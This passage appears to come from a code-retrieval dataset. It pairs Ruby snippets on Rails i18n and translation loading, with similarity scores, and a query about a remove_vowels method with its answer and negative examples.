@@locales[\"#{lang}-#{country}\".to_sym].merge(YAML.load_file(file).symbolize_keys)\n else\n @@locales[\"#{lang}-#{country}\".to_sym] = YAML.load_file(file).symbolize_keys\n @@rails_locales[locale_name(\"#{lang}-#{country}\")] = \"#{lang}-#{country}\".to_sym\n end\n @@languages << lang unless @@languages.include? lang\n else\n @@languages << lang unless @@languages.include? lang\n @f_locale = \"#{lang}-*\".to_sym\n @@locales[@f_locale] = @@locales[@f_locale].merge(YAML.load_file(file).symbolize_keys) if locales.include?(@f_locale)\n @@locales[@f_locale] = YAML.load_file(file).symbolize_keys unless locales.include?(@f_locale)\n end\n end\n end\n alias :load_translations! :load_localization!\n alias :load_localizations! :load_localization!\n\n # Load the UI localization\n if ui_localization_files\n ui_localization_files.each do |file|\n lang = File.basename(file, '.*')[0,2].downcase.to_sym\n if File.basename(file, '.*')[3,5]\n country = File.basename(file, '.*')[3,5].upcase.to_sym\n else\n country = '*'.to_sym\n end\n @@languages << lang unless @@languages.include? lang\n @@countries << country if ( country != :* && !@@countries.include?(country) )\n @file_locale = \"#{lang}-#{country}\".to_sym\n if locales.include?(@file_locale)\n @@locales[@file_locale] = @@locales[@file_locale].merge(YAML.load_file(file).symbolize_keys)\n @@ui_locales[locale_name(\"#{lang}-#{country}\")] = \"#{lang}-#{country}\".to_sym\n else\n @@locales[@file_locale] = YAML.load_file(file).symbolize_keys\n @@ui_locales[locale_name(\"#{lang}-#{country}\")] = \"#{lang}-#{country}\".to_sym\n end\n end\n end\n localize_rails\n # Return the path of the localization files\n return \"#{ui_localization_files} | #{rails_localization_files}\".to_s\n end", "def translations\n @translations ||= {}\n end", "def inject_translatable_block\n inject_into_class model_path, class_name, generate_translatable_block\n end", "def translations\n collection = Collection.new\n\n # add all translations from the database to the collection\n collection.add(find_database_translations(@texts)) if @use_db\n\n # request translations for all texts that aren't in the database\n untranslated = untranslated(collection)\n if untranslated.present?\n provider_translations = find_provider_translations(untranslated)\n save_database_translations(provider_translations)\n collection.add(provider_translations)\n end\n\n # puts collection.description\n collection\n end", "def translatable\n self._translatable[base_name]\n end", "def translations\n translated_locales = @bindings[:object].translated_locales\n available_locales.collect do |locale|\n translated_locales.include?(locale) ? @bindings[:object].translation_for(locale) : @bindings[:object].translations.new({ locale: locale })\n end\n end", "def available_translations\n missing_locales = Gallifreyian::Configuration.available_locales - translations.map(&:language)\n missing_locales.each do |locale|\n self.translations << Gallifreyian::Translation::I18nKey.new(language: locale)\n end\n self.translations.order_by({:language => :asc})\n end", "def merge_i18n(barclamp)\n locales = barclamp['locale_additions']\n locales.each do |key, value|\n #translation file (can be multiple)\n f = File.join CROWBAR_PATH, 'config', 'locales', \"#{key}.yml\"\n if File.exist? f\n puts \"merging translation for #{f}\" if DEBUG\n master = YAML.load_file f\n master = merge_tree(key, value, master)\n File.open( f, 'w' ) do |out|\n YAML.dump( master, out )\n end\n else\n puts \"WARNING: Did not attempt tranlation merge for #{f} because file was not found.\"\n end\n end\n end", "def init_i18n\n I18n.backend.class.send(:include, I18n::Backend::Pluralization)\n I18n.load_path.unshift(*locale_files)\n\n I18n.reload!\n end", "def init_i18n\n I18n.backend.class.send(:include, I18n::Backend::Pluralization)\n I18n.load_path.unshift(*locale_files)\n end", "def set_application(app)\n self.application = app\n translations.values.each do |locale_translations|\n locale_translations.each do |translation|\n translation.translation_key = self\n translation.language = self.application.language(translation.locale)\n end\n end\n self\n end", "def globalize_object(model)\n return unless pol_cfg.multilang?\n pol_cfg.languages.each do |lang|\n next if model.globalize_translations.map(&:locale).include?(lang.to_sym)\n model.globalize_translations.build({ :locale => lang })\n end\n end", "def translations_hash; end", "def translate_all(keys)\n translator = I27r::Translator.new locale_name.sub(/\\-.*/, '')\n\n ActiveSupport::OrderedHash.new.tap do |oh|\n # fix the order first(for multi thread translating)\n keys.each do |key|\n if key.to_s.include? '.'\n key_prefix, key_suffix = key.to_s.split('.')[0...-1], key.to_s.split('.')[-1]\n key_prefix.inject(oh) {|h, k| h[k] ||= ActiveSupport::OrderedHash.new}[key_suffix] = nil\n else\n oh[key] = nil\n end\n end\n threads = []\n keys.each do |key|\n threads << Thread.new do\n Rails.logger.debug \"translating #{key} ...\"\n Thread.pass\n if key.to_s.include? '.'\n key_prefix, key_suffix = key.to_s.split('.')[0...-1], key.to_s.split('.')[-1]\n existing_translation = I18n.backend.send(:lookup, locale_name, key_suffix, key_prefix)\n key_prefix.inject(oh) {|h, k| h[k]}[key_suffix] = existing_translation ? existing_translation : translator.translate(key_suffix)\n else\n existing_translation = I18n.backend.send(:lookup, locale_name, key)\n oh[key] = existing_translation ? existing_translation : translator.translate(key)\n end\n end\n end\n threads.each {|t| t.join}\n end\n end", "def load_translations( locale, base_locale=\"en\", type=\"all\", scope=\"\" )\n \n @files ||= load_files\n @languages = @files[:translations].keys.sort {|x,y| x.to_s <=> y.to_s }\n \n # Convert hash to scope string\n global = scopize( @files[:globals] )\n base = scopize( @files[:translations][base_locale.to_sym] )\n dest = scopize( @files[:translations][locale.to_sym] )\n translation = {}\n \n reg = Regexp.new( '^' + Regexp.escape( scope ))\n \n # Process all keys from all locales\n global.keys.each do |key| \n if((type == \"all\") or (type==\"untranslated\" and dest[key].nil?) or (type == \"translated\" and not ( dest[key].nil? )))\n if scope.empty? or key.match( reg )\n case base[key]\n when Hash\n value_type = \"hash\"\n when Array\n value_type = \"array\"\n when TrueClass, FalseClass\n value_type = \"bool\"\n else\n value_type = \"string\"\n end\n \n translation[key] = { \n :base => base[key].nil? ? \"Not translated in base [#{base_locale}]\" : base[key],\n :value => dest[key],\n :type => value_type,\n }\n end\n end\n end\n \n return translation\n end", "def translate_all(keys)\n returning ActiveSupport::OrderedHash.new do |oh|\n # fix the order first(for multi thread translating)\n keys.each do |key|\n if key.to_s.include? '.'\n key_prefix, key_suffix = key.to_s.split('.')[0...-1], key.to_s.split('.')[-1]\n key_prefix.inject(oh) {|h, k| h[k] ||= ActiveSupport::OrderedHash.new}[key_suffix] = nil\n else\n oh[key] = nil\n end\n end\n threads = []\n keys.each do |key|\n threads << Thread.new do\n logger.debug \"translating #{key} ...\"\n Thread.pass\n if key.to_s.include? '.'\n key_prefix, key_suffix = key.to_s.split('.')[0...-1], key.to_s.split('.')[-1]\n existing_translation = I18n.t(key, :default => key_suffix, :locale => locale_name)\n key_prefix.inject(oh) {|h, k| h[k]}[key_suffix] = existing_translation != key_suffix ? existing_translation : translator.translate(key_suffix)\n else\n existing_translation = I18n.t(key, :default => key, :locale => locale_name)\n oh[key] = existing_translation != key ? existing_translation : translator.translate(key)\n end\n end\n end\n threads.each {|t| t.join}\n end\n end", "def other_locales_with_translations(website)\n all_locales_with_translations(website) - [I18n.locale.to_s]\n end", "def clone\r\n obj = super\r\n return obj unless respond_to?(:translated_attribute_names)\r\n obj.instance_variable_set(:@globalize, nil )\r\n each_locale_and_translated_attribute do |locale, name|\r\n obj.globalize.write(locale, name, globalize.fetch(locale, name) )\r\n end\r\n return obj\r\n end", "def configure_i18n\n I18n.load_path += Dir[self.class.root_pathname.join('config', 'locales', '*.{rb,yml}')]\n end", "def translations\n OneclickRefernet::Translation.where(key: self.code)\n end", "def with_locales_if_translated(with_locales = nil, &block)\n if instance.respond_to?(:translated_locales) && instance.translated?(:\"#{name}_file_name\")\n # TODO translated_locales are not present any more when this is called via destroy callback (unless 'translates' is defined AFTER 'has_attached_file' in the model class)\n with_locales = instance.translated_locales if with_locales.nil?\n Globalize.with_locales([*with_locales]) { yield }\n else\n yield\n end\n end", "def get_translations\n I18n.translate(:foo) # Need to do this to force I18n init\n I18n.backend.send(:translations)\n end", "def fillin_translations\n collection_types = Hyrax::CollectionType.all\n collection_types.each do |c|\n next unless c.title =~ /^translation missing/\n oldtitle = c.title\n c.title = I18n.t(c.title.gsub(\"translation missing: en.\", ''))\n c.save\n Rails.logger.debug \"#{oldtitle} changed to #{c.title}\"\n end\n end", "def fetch_translations(locale)\n self.translations ||= {}\n return if self.translations[locale]\n\n # Tml.logger.debug(\"Fetching translations for #{label}\")\n\n results = self.application.api_client.get(\n \"translation_keys/#{self.key}/translations\",\n {:locale => locale, :per_page => 10000},\n {:cache_key => Tml::TranslationKey.cache_key(locale, self.key)}\n ) || []\n\n update_translations(locale, results)\n\n self\n rescue Tml::Exception => ex\n self.translations = {}\n self\n end", "def all_templates\n @templates = super.merge(TEMPLATES)\n end", "def all_templates\n @templates = super.merge(TEMPLATES)\n end", "def all_templates\n @templates = super.merge(TEMPLATES)\n end", "def all_templates\n @templates = super.merge(TEMPLATES)\n end", "def all_templates\n @templates = super.merge(TEMPLATES)\n end", "def generate\n I18n.backend.load_translations\n translations = wrap(source_translations)\n I18n.backend.store_translations(destination_locale, translations)\n I18n.available_locales += [destination_locale]\n end", "def merge class_module\n @parent = class_module.parent\n @parent_name = class_module.parent_name\n\n other_document = parse class_module.comment_location\n\n if other_document then\n document = parse @comment_location\n\n document = document.merge other_document\n\n @comment = @comment_location = document\n end\n\n cm = class_module\n other_files = cm.in_files\n\n merge_collections attributes, cm.attributes, other_files do |add, attr|\n if add then\n add_attribute attr\n else\n @attributes.delete attr\n @methods_hash.delete attr.pretty_name\n end\n end\n\n merge_collections constants, cm.constants, other_files do |add, const|\n if add then\n add_constant const\n else\n @constants.delete const\n @constants_hash.delete const.name\n end\n end\n\n merge_collections includes, cm.includes, other_files do |add, incl|\n if add then\n add_include incl\n else\n @includes.delete incl\n end\n end\n\n @includes.uniq! # clean up\n\n merge_collections extends, cm.extends, other_files do |add, ext|\n if add then\n add_extend ext\n else\n @extends.delete ext\n end\n end\n\n @extends.uniq! # clean up\n\n merge_collections method_list, cm.method_list, other_files do |add, meth|\n if add then\n add_method meth\n else\n @method_list.delete meth\n @methods_hash.delete meth.pretty_name\n end\n end\n\n merge_sections cm\n\n self\n end", "def set_variables\n @countries = Country.sorted\n @time_periods = TimePeriod.sorted\n\n @locales = []\n I18n.available_locales.sort.each do |locale|\n @locales << [I18n.t(\"shared.locale.long.#{locale}\"), locale]\n end\n end", "def merge!(config)\n self.compiled = false\n self.resource_class ||= config.resource_class\n transforms_from.merge! config.transforms_from\n transforms_to.merge! config.transforms_to\n custom_serializers.merge! config.custom_serializers\n namespaces.merge! config.namespaces\n facets.merge! config.facets #TODO --jdc change to a deep_merge!\n extensions.merge! config.extensions\n\n self\n end", "def translation_class\n const_get translation_class_name\n end", "def each\n each_locale { |locale| yield Translation.new(self, locale) }\n end", "def load_all\n @internal_loader.load_all(self)\n end", "def init_translations_and_ignore_app_mode_file_dump\n # Get the current yaml file list sorted\n files = (I18n.load_path + Dir.glob(File.join(\"config\", \"locales\", \"**\",\"*.{rb,yml}\"))).uniq.sort\n # Avoid application mode file paths\n files -= I18n.available_locales.map{|l| application_mode_file_path(l)}\n files -= I18n.available_locales.map{|l| File.join(\"config\", \"locales\", \"#{l}.yml\")}\n # Load the new translation file list\n I18n.load_path = files\n # Reset I18n to track the updated file list\n I18n.reload!\n I18n.backend.send(:init_translations)\n end", "def clone_with_translation\n new_obj = self.clone_without_translation\n \n self.translations.each do |translation|\n new_obj.translations << translation.clone\n end\n new_obj\n end", "def generate_multilang(site)\n lang = site.data['curr_lang']\n prime_lang = site.config['prime_lang']\n is_localization = prime_lang != lang\n\n Jekyll.logger.info \"Generating translation in '#{lang}'\"\n\n prefix_lang = File.join site.source, \"_langs\", lang\n prefix_prime = File.join site.source, \"_langs\", prime_lang\n\n # Hack to skip processing regular content\n # if we're building a translation.\n if is_localization\n site.static_files = []\n site.pages = []\n end\n\n # prime language pages map url => page\n site.data['primes'] = {}\n # Outer loop over each page of prime_lang and their translations\n site.data['translations'].each do |relpath, locales|\n reldir, name = File.split relpath\n prime_file = File.join(prefix_prime, relpath)\n lang_file = File.join(prefix_lang, relpath)\n\n prime = create_page(site, prime_file, reldir, name, prime_lang, true, !is_localization)\n next unless prime\n\n has_localization = locales.inject({}) { |loc, hl| loc[hl] = true; loc }\n prime.data.merge!(\n 'is_localized' => !locales.empty?,\n 'is_localization' => false,\n 'has_localization' => has_localization)\n\n raise \"Two pages at the same URL #{prime.url}\" if site.data['primes'].key? prime.url\n\n site.data['primes'][prime.url] = prime\n translated_pages = [prime]\n\n # Inner loop over known single page translations from the manifest\n (locales || []).each do |hl|\n hl_file = File.join site.source, \"_langs\", hl, relpath\n page = create_page(site, hl_file, reldir, name, hl, true, hl == lang)\n page.data.merge!('is_localized' => true, 'is_localization' => true)\n translated_pages << page\n end\n\n # Map all the translations for a page on to each other\n translated_pages.each do |page|\n page.data[\"translations\"] = translated_pages\n end\n end\n end", "def load_translations(*filenames); end", "def load_translations(*filenames); end", "def load(*languages)\n languages.flatten!\n languages.each do |lang_code|\n lang_file = LangFile.new lang_code, self.lang_file_dirs\n @@languages[lang_code.to_sym] = lang_file\n lang_file.load\n end\n self.use languages.first if current_language.nil?\n end", "def reload!\n @initialized = false\n @translations = nil\n super\n end", "def translations_for_select\n Alchemy::I18n.available_locales.map do |locale|\n [_t(locale, :scope => :translations), locale]\n end\n end", "def integrate_locale_attributes \n self.class.locale_class_name.constantize.column_names.each{|key|\n attrs = self.attributes.keys\n if !attrs.include?(key) && !self.respond_to?(key)&&\n self.class.to_s.underscore+\"_id\" != key &&\n # except these keys\n ![\"id\",\"created_at\",\"updated_at\"].include?(key)\n self.class.class_eval <<-EOF\n \n def #{key}\n if locales.loaded?\n l = correct_locale\n l && l.#{key}\n else\n (current_locale || locales.first).#{key}\n end\n end\n EOF\n \n end\n }\n end", "def build_html\n # the first one should not use a locale, for the default:\n generate_all_html_pages\n\n # now translate, if necessary:\n if translation.should_translate?\n translation.prepare\n translation.available_locales.each do |locale|\n translation.current_locale = locale\n generate_all_html_pages\n end\n end\n end", "def update_or_create_all_translations(attributes={})\n missing_locales.each { |locale| translations.build :locale => locale }\n translations.each do |translation|\n attrs = attributes[translation.code]\n unless translation.active? or attrs.nil?\n merger = translation.attributes.merge attrs\n translation.attributes = merger\n end\n translation.save!\n end\n end", "def flatten_translations(locale, data, escape, subtree); end", "def update_sources\n source_files_path = Dir['config/locales/**/*.en-EU.yml']\n source_files_path.each do |path|\n puts \"update #{path}\"\n @crowdin.update_file([{ dest: \"/#{File.basename(path).gsub('en-EU', 'en')}\",\n source: path }])\n end\n\n source_files_path = Dir['config/locales/main/en-EU.yml']\n source_files_path.each do |path|\n puts \"update #{path}\"\n @crowdin.update_file([{ dest: '/main.en.yml',\n source: path }])\n end\n end", "def load_translations\n files = if File.directory?(@path)\n Dir[@path + '/**/*.yml']\n elsif File.file?(@path)\n detect_list_or_file @path\n else\n $stderr.puts 'No valid translation file given'\n []\n end\n update_store files\n end", "def setup_mass_copy_translations\n end", "def merge_i18n(barclamp, options={})\n options = {:debug => false}.merge! options\n debug = options[:debug] or ENV['DEBUG'] === \"true\"\n locales = barclamp['locale_additions']\n locales.each do |key, value|\n #translation file (can be multiple)\n f = File.join CROWBAR_PATH, 'config', 'locales', \"#{key}.yml\"\n if File.exist? f\n puts \"merging translation for #{f}\" if debug\n master = YAML.load_file f\n master = merge_tree(key, value, master)\n File.open( f, 'w' ) do |out|\n YAML.dump( master, out )\n end\n else\n puts \"WARNING: Did not attempt tranlation merge for #{f} because file was not found.\"\n end\n end\nend", "def load_files\n files = []\n translations = {}\n globals = {}\n I18n.load_path.each do |file|\n data = YAML.load_file(file)\n \n # Try to identify type from file's path name\n # TODO: Try to find a use for that\n case file\n when /\\/gems\\/activesupport-(.*)\\/lib\\/active_support\\/locale\\//:\n type = \"ActiveSupport\"\n when /\\/gems\\/activerecord-(.*)\\/lib\\/active_record\\/locale\\//:\n type = \"ActiveRecord\"\n when /\\/gems\\/actionpack-(.*)\\/lib\\/action_view\\/locale\\//:\n type = \"ActionView\"\n else\n type = \"file\"\n end\n\n if data.is_a? Hash\n # Skip non-hash translation files\n data.keys.collect do |locale|\n files << { :locale => locale, :filename => file, :type => type } \n locale = locale.to_sym\n # Mix in (from simpe I18n backend)\n translations[locale] ||= {}\n sdata = deep_symbolize_keys(data)\n merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 }\n translations[locale].merge!(sdata[locale], &merger)\n # Build global translation keys from all locales\n globals.merge!(sdata[locale],&merger)\n end\n end\n \n end\n \n return {\n :files => files,\n :translations => translations,\n :globals => globals,\n }\n \n return files\n end", "def human(options={})\n return @human unless @klass.respond_to?(:lookup_ancestors) &&\n @klass.respond_to?(:i18n_scope)\n\n defaults = @klass.lookup_ancestors.map do |klass|\n [klass.model_name.i18n_key,\n klass.model_name.i18n_key.to_s.tr('.', '/').to_sym]\n end.flatten\n\n defaults << options.delete(:default) if options[:default]\n defaults << @human\n\n options.reverse_merge! :scope => [@klass.i18n_scope, :models], :count => 1, :default => defaults\n I18n.translate(defaults.shift, options)\n end", "def missing_localizations(org_base='en-US')\n @langs = {}\n @missing_localizations = {}\n @l_files = Dir[File.join( RAILS_ROOT, '/lang/ui', '*.yml')]\n @l_files.each do |file| \n if YAML.load_file(file)\n @langs[File.basename(file, '.*')] = YAML.load_file(file).symbolize_keys \n else\n p \"error with the following file: #{file}, the file might be empty\"\n end\n end\n @base_keys = @langs[org_base]\n unless @base_keys.blank?\n @langs.each_key do |@lang|\n @base_keys.each_key do |key|\n unless @langs[@lang].include?(key)\n @missing_localizations[@lang] ||= {}\n @missing_localizations[@lang] = @missing_localizations[@lang].merge({key.to_sym => @base_keys[key]})\n end\n end\n end\n else\n p \"your #{org_base} file seems empty\"\n end\n @missing_localizations\n end", "def translate\n self.translations.destroy\n\n if auto_translate\n google_translate\n bing_translate\n end\n end", "def merge(other_map)\n default = other_map.default || self.default\n TranslationMap.new(self.to_hash.merge(other_map.to_hash), :default => default)\n end", "def translations reset_cache=false\n return @translations if @translations && !reset_cache\n b = bindings || @bindings\n\n translations = b[:object].translations_by_locale\n new_locales = available_locales - translations.keys.map(&:to_sym)\n\n new_locales.map do |locale|\n translations[locale] = b[:object].translations.new({ locale: locale })\n end\n\n @translations = translations\n end", "def load_translations_and_collect_file_errors(files); end", "def begin_inject\n\n self.update_config(self.config)\n\n # initialize\n @posts_by_language = {}\n @pages_by_language = {}\n\n self.languages.dup.each { |lang|\n @posts_by_language[lang] ||= {}\n @pages_by_language[lang] ||= {}\n }\n\n end", "def translated\n find_all do |entry|\n entry.translated?\n end\n end", "def localized_contents\n @localized_contents ||= begin\n # First collect the localized content\n contents_data = Gluttonberg::Content.localization_associations.inject([]) do |memo, assoc|\n memo += send(assoc).all\n end\n contents_data = contents_data.sort{|a,b| a.section_position <=> b.section_position}\n end\n @localized_contents\n end", "def load_all_entries\n results = self.all :order=>\"locale, key\"\n data = {}\n\n results.each do |result|\n #create an empty hash for each locale initially\n data[result.locale] ||= {}\n\n # create the deep nested scopes from the dotted key\n scopes = result.key.split(\".\").map{|k| k.to_sym}\n key = scopes.pop\n scope = scopes.inject(data[result.locale]) do |scope, s|\n # a new scope is empty initially\n # if its a simple string override it with a empty hash\n scope[s] = {} unless scope[s] and scope[s].is_a?(Hash)\n scope[s]\n end\n\n # if we have a pluralization form and the translation key already exists add the specific pluralization form\n if scope[key] && scope[key].is_a?(Hash) && !result.pluralization_index.blank?\n scope[key][result.pluralization_index] = result.text\n\n # if we have a pluralization index add the initial hash\n elsif !result.pluralization_index.blank?\n scope[key] = { result.pluralization_index.to_sym => result.text.to_s }\n\n # else we just add the simple text\n else\n scope[key] = result.text\n end\n\n end\n return data\n end", "def with_globalize(conditions = {})\n conditions = {:locale => ::Globalize.locale.to_s}.merge(conditions)\n globalized_conditions = {}\n conditions.keys.each do |key|\n if (translated_attribute_names.map(&:to_s) | %w(locale)).include?(key.to_s)\n globalized_conditions[\"#{self.translation_class.table_name}.#{key}\"] = conditions.delete(key)\n end\n end\n # A join implies readonly which we don't really want.\n joins(:translations).where(globalized_conditions).where(conditions).readonly(false)\n end", "def index\n @translations = @locale.translations.all(:order => \"raw_key, pluralization_index\")\n end", "def with_translations(*locales)\n locales = translated_locales if locales.empty?\n includes(:translations).with_locales(locales).with_required_attributes\n end", "def update_coercions!\n return if @coercions_updated\n\n if superclass.respond_to? :property_coercions\n @property_coercions = superclass.property_coercions.dup.merge(@property_coercions || {})\n end\n\n if superclass.respond_to? :sys_coercions\n @sys_coercions = superclass.sys_coercions.dup.merge(@sys_coercions || {})\n end\n\n if superclass.respond_to? :fields_coercions\n @fields_coercions = superclass.fields_coercions.dup.merge(@fields_coercions || {})\n end\n\n @coercions_updated = true\n end", "def translate(*args)\n # Fall back to the default translate behavior if the :force_default_behavior is true\n force_current_locale = args.last.is_a?(Hash) ? args.pop.delete(:force_default_behavior) : false\n return original_translate(*args) if force_current_locale\n\n translations = []\n\n available_locales.each do |locale|\n args_copy = args.dup\n\n if args_copy.last.is_a?(Hash)\n args_copy.last.merge!(locale: locale)\n else\n args_copy << {locale: locale}\n end\n\n translations << original_translate(*args_copy)\n end\n\n translations.max\n end", "def auto_translate\n return unless MuckContents.configuration.enable_auto_translations\n begin\n translate(false)\n rescue => ex\n #TODO figure out a way to bubble up the error\n puts ex\n debugger\n # Translations failed, but update the default language\n translation = translation_for(self.locale)\n translation.update_attributes!(:title => self.title, :body => self.body) unless translation.blank?\n end\n end", "def list\n @@translatable ||= Hash.new\n end", "def all_locales\n configatron.full_locales | preferred_locales\n end", "def create_translations\n end", "def seed_page_content_translations!\n I18n.available_locales.each do |locale|\n seed_content_for_locale locale.to_s\n end\n end", "def load!\n class_names.each { |name| self[name] }\n end", "def translated_locales\n self.i18n.keys\n end", "def load_locale!(locale)\n @projects.each do |project|\n @adapter.allowed_extensions.each do |extension|\n result = project.export locale, extension, @fallback\n\n if result.nil?\n raise \"Could not load project #{project} with extension #{extension} and locale #{locale}\"\n end\n\n strings, plurals = @adapter.parse result, extension\n\n strings = project.filter strings\n plurals = project.filter plurals\n\n warn \"Did not find any strings or plurals in #{project}\" if strings.empty? && plurals.empty?\n\n @strings[locale] = (@strings[locale] || {}).merge(strings)\n @plurals[locale] = (@plurals[locale] || {}).merge(plurals)\n end\n end\n end", "def load_all_metas\n Thread.current[:metas] = I18n.available_locales.inject({}) do |acc, locale|\n acc.merge!(load_metas_for_locale(locale))\n acc\n end\n end", "def load(*languages)\n languages.flatten!\n languages.each do |language|\n lang_file_without_ext = \"#{self.lang_file_dir}/#{language}\"\n @@cached_language_data[language.to_sym] = YAML.load_file \"#{lang_file_without_ext}.yml\"\n require lang_file_without_ext if File.exists?(\"#{lang_file_without_ext}.rb\")\n end\n self.use languages.first if current_language.nil?\n end", "def read\n result = {}\n \n Dir[File.join(Rails.root.join('config/locales'), '*.yml')].sort.each do |file|\n yml = YAML::load(IO.read(file))\n hash = @locale ? yml.to_hash[@locale] : yml.to_hash\n result.deep_merge! hash unless hash.nil?\n end\n\n result\n end", "def index\n @locales = Tolk::Locale.secondary_locales.sort_by(&:language_name)\n end", "def display_all_languages\n # Interface method\n end", "def audited_translations(*fields)\n translates *fields\n translation_class.class_eval do\n audited\n end\n end", "def find_all_valid_translations(translations)\n if translations.empty?\n return {:id => self.id, :key => self.key, :label => self.label, :original => true}\n end\n \n # if the first translation does not depend on any of the context rules\n # use it... we don't care about the rest of the rules.\n if translations.first.rules_hash.blank?\n return {:id => self.id, :key => self.key, :label => translations.first.label}\n end\n \n # build a context hash for every kind of context rules combinations\n # only the first one in the list should be used\n context_hash_matches = {}\n valid_translations = []\n translations.each do |translation|\n context_key = translation.rules_hash || \"\"\n next if context_hash_matches[context_key]\n context_hash_matches[context_key] = true\n if translation.rules_definitions\n valid_translations << {:label => translation.label, :context => translation.rules_definitions.dup}\n else\n valid_translations << {:label => translation.label}\n end\n end\n\n # always add the default one at the end, so if none of the rules matched, use the english one\n valid_translations << {:label => self.label} unless context_hash_matches[\"\"]\n {:id => self.id, :key => self.key, :labels => valid_translations}\n end", "def locale_translations\n @locale_scope ||= begin\n locale_path = \"#{@locale}.yml\"\n locale_path = File.join(@locales_dir, locale_path) if @locales_dir\n YAML.load_file(locale_path).fetch(@locale)\n end\n end", "def index\n @translations = TRANSLATION_STORE\n end", "def update_config(config)\n\n config['languages'] ||= []\n config['language_default'] ||= config['languages'].first;\n\n # set the default value of `i18ndir` to `_i18n`\n config['i18ndir'] ||= \"_i18n\";\n\n %w[languages language_default].each do |opt|\n self.send(\"#{opt}=\", config[opt])\n end\n end", "def find_all_valid_translations(translations)\n if translations.empty?\n return {:id => self.id, :key => self.key, :label => self.label, :original => true}\n end\n \n # if the first translation does not depend on any of the context rules\n # use it... we don't care about the rest of the rules.\n if translations.first.context.blank?\n return {:id => self.id, :key => self.key, :label => translations.first.label}\n end\n \n # build a context hash for every kind of context rules combinations\n # only the first one in the list should be used\n context_hash_matches = {}\n valid_translations = []\n translations.each do |translation|\n context_key = translation.context || \"\"\n next if context_hash_matches[context_key]\n context_hash_matches[context_key] = true\n if translation.context\n valid_translations << {:label => translation.label, :context => translation.context.dup}\n else\n valid_translations << {:label => translation.label}\n end\n end\n\n # always add the default one at the end, so if none of the rules matched, use the english one\n valid_translations << {:label => self.label} unless context_hash_matches[\"\"]\n {:id => self.id, :key => self.key, :labels => valid_translations}\n end", "def for(host, files = expandable_default_files)\n translate(files.inject({}) { |settings, file|\n load(file, host, settings)\n })\n end", "def translate(locale, key, options = {})\n options[:lit_default_copy] = options[:default].dup if can_dup_default(options)\n content = super(locale, key, options)\n\n if on_rails_6_1_or_higher?\n @untranslated_key = key if key.present? && options[:default].instance_of?(Object)\n\n if key.nil? && options[:lit_default_copy].present?\n update_default_localization(locale, options)\n end\n end\n\n if Lit.all_translations_are_html_safe && content.respond_to?(:html_safe)\n content.html_safe\n else\n content\n end\n end", "def texts_translated\n @texts_translated ||= tokens_translated.map do |group|\n group.map { |value, type| type == :text ? value : fix_ascii(value) }.join\n end\n end" ]
[ "0.6282833", "0.6282833", "0.5896506", "0.57747215", "0.5686837", "0.5610382", "0.55876637", "0.55281645", "0.5515838", "0.5485491", "0.54849905", "0.5400106", "0.53928703", "0.5362537", "0.5349425", "0.5328034", "0.52739805", "0.513117", "0.50863254", "0.50747484", "0.50737864", "0.50723577", "0.50551623", "0.5048677", "0.5035028", "0.50090843", "0.49784023", "0.49431783", "0.49197978", "0.49150652", "0.4907189", "0.49020687", "0.48952165", "0.48948905", "0.4879989", "0.4879989", "0.4879989", "0.4879989", "0.4879989", "0.4867092", "0.48651418", "0.4859656", "0.48582172", "0.4851673", "0.48348564", "0.48238802", "0.48162505", "0.48043725", "0.47858116", "0.47601336", "0.47601336", "0.47553512", "0.47537786", "0.47471493", "0.47438195", "0.47379076", "0.47201467", "0.47169524", "0.47137266", "0.46817562", "0.46779224", "0.4677546", "0.46738604", "0.4669041", "0.46659496", "0.4665848", "0.46612936", "0.46447158", "0.46425268", "0.46399003", "0.4637914", "0.46361497", "0.46287277", "0.46278477", "0.46210054", "0.4600764", "0.46005484", "0.45991224", "0.45912945", "0.45882076", "0.45843706", "0.45837614", "0.45809746", "0.45789382", "0.4576199", "0.45737538", "0.45685548", "0.4565962", "0.45585912", "0.45324895", "0.45232445", "0.45086426", "0.45068878", "0.44970334", "0.4489528", "0.4485746", "0.44789135", "0.44746602", "0.44742683", "0.44646934" ]
0.5698219
4
with the same values except the vowels removed remove_vowels(%w(abcdefghijklmnopqrstuvwxyz)) == %w(bcdfghjklmnpqrstvwxyz) remove_vowels(%w(green YELLOW black white)) == %w(grn YLLW blck wht) remove_vowels(%w(ABC AEIOU XYZ)) == ['BC', '', 'XYZ'] create method remove_vowels that takes an array called strings iterate with map, and delete any occurence of "aeiouAEIOU"
def remove_vowels(strings) strings.map { |string| string.delete "aeiouAEIOU" } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_vowels(strings)\n strings.map { |str| str.gsub(/[aeiou]/i, '')}\nend", "def remove_vowels(strings)\n strings.map { |string| string.delete('aeiouAEIOU') }\nend", "def remove_vowels(strings)\n strings.map { |string| string.delete('aeiouAEIOU') }\nend", "def remove_vowels_simple(strings)\n strings.map do |string|\n string.gsub(/aeiou/i, ''))\n end\nend", "def remove_vowels(strings) # iterate through each vowel, set parameter to string, return string\n strings.map do |string|\n chars = string.split(\"\") # splitting the string into an array\n VOWELS.each { |vowel| chars.delete(vowel) }\n chars.join(\"\")\n end\nend", "def remove_vowels(words)\n words.map { |word| word.delete \"aeiouAEIOU\" }\nend", "def remove_vowels(arr)\n arr.map { |string| string.gsub(/[aeiou]/i, '') }\nend", "def remove_vowels(arr)\n arr.map do |str|\n str.gsub(/[AEIOUaeiou]/,'')\n end\nend", "def remove_vowels(string_array)\n string_array.map { |string| string.gsub(/[aeiou]/i, \"\") }\nend", "def remove_vowels(array_of_strings)\n array_of_strings.map { |string| string.delete(\"AEIOUaeiou\") }\nend", "def remove_vowels(string)\n string.map do |word|\n word.delete('AEIOUaeiou')\n end\nend", "def remove_vowels(array)\n array.map do |string|\n string.delete(\"aeiouAEIOU\")\n end\nend", "def remove_vowels(array)\n array.map { |string| string.gsub(/[aeiouAEIOU]/, \"\") }\nend", "def remove_vowels(array)\n array.map do |string|\n string.delete('AEIOUaeiou')\n end\nend", "def remove_vowels(arr)\n arr.map { |str| str.delete(\"aeiouAEIOU\") }\nend", "def remove_vowels(string)\n string.map { |word| word.delete('aeiouAEIOU') }\nend", "def remove_vowels(arry)\n arry.map do |word|\n word.gsub(/[aeiou]/i, '')\n end\nend", "def remove_vowels(arr)\n arr.map { |str| str.delete(\"aeiouAEIOU\")}\nend", "def remove_vowels(arr)\n arr.map { |string| string.delete \"aeiouAEIOU\" }\nend", "def remove_vowels (arr)\n arr.map { |str| str.gsub(/[aeiou]/i,'') }\n # arr.map { |str| 